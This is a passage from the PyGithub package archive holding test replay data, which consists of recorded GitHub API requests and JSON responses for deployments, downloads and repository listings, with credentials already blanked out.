[{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671","id":388454671,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T14:32:51Z","updated_at":"2020-08-26T14:32:51Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null},{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388433743","id":388433743,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0MzM3NDM=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T13:56:31Z","updated_at":"2020-08-26T13:56:31Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null},{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388432880","id":388432880,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0MzI4ODA=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T13:55:06Z","updated_at":"2020-08-26T13:55:06Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Download.setUp.txt0000644000175100001660000000701714756101563021572 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e1a1f6f825326642be4ed8e6f8427437"'), ('date', 'Tue, 22 May 2012 19:15:57 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","disk_usage":16849,"bio":"","url":"https://api.github.com/users/jacquev6","total_private_repos":5,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"owned_private_repos":5,"public_repos":11,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","login":"jacquev6","email":"vincent@vincent-jacques.net","private_gists":5,"collaborators":0,"name":"Vincent Jacques","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","html_url":"https://github.com/jacquev6","created_at":"2010-07-09T06:10:06Z","blog":"http://vincent-jacques.net","location":"Paris, France","id":327146,"followers":13,"following":24,"hireable":false} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c26fc3fce8f52d05f1adf2025bfe34ab"'), ('date', 'Tue, 22 May 2012 19:15:58 GMT'), ('content-type', 'application/json; charset=utf-8')] {"pushed_at":"2012-05-21T13:48:43Z","updated_at":"2012-05-22T19:15:29Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_downloads":true,"watchers":13,"permissions":{"pull":true,"admin":true,"push":true},"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"size":181,"private":false,"forks":2,"owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","clone_url":"https://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","created_at":"2012-02-25T12:53:47Z","id":3544490,"open_issues":17,"mirror_url":null,"git_url":"git://github.com/jacquev6/PyGithub.git"} https GET api.github.com None /repos/jacquev6/PyGithub/downloads/242550 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '290'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6d8a8b9509b1686543a96ec3c58b0293"'), ('date', 'Tue, 22 May 2012 19:03:36 GMT'), ('content-type', 'application/json; charset=utf-8')] {"content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","size":1024,"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt","id":242550} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Download.testDelete.txt0000644000175100001660000000064114756101563022570 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/downloads/242550 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4950'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 19:16:03 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Enterprise.testHttp.txt0000644000175100001660000004374014756101563022665 0ustar00runnerdockerhttp GET my.enterprise.com None /user/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Enterprise.testHttps.txt0000644000175100001660000004374114756101563023051 0ustar00runnerdockerhttps GET my.enterprise.com None /user/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on 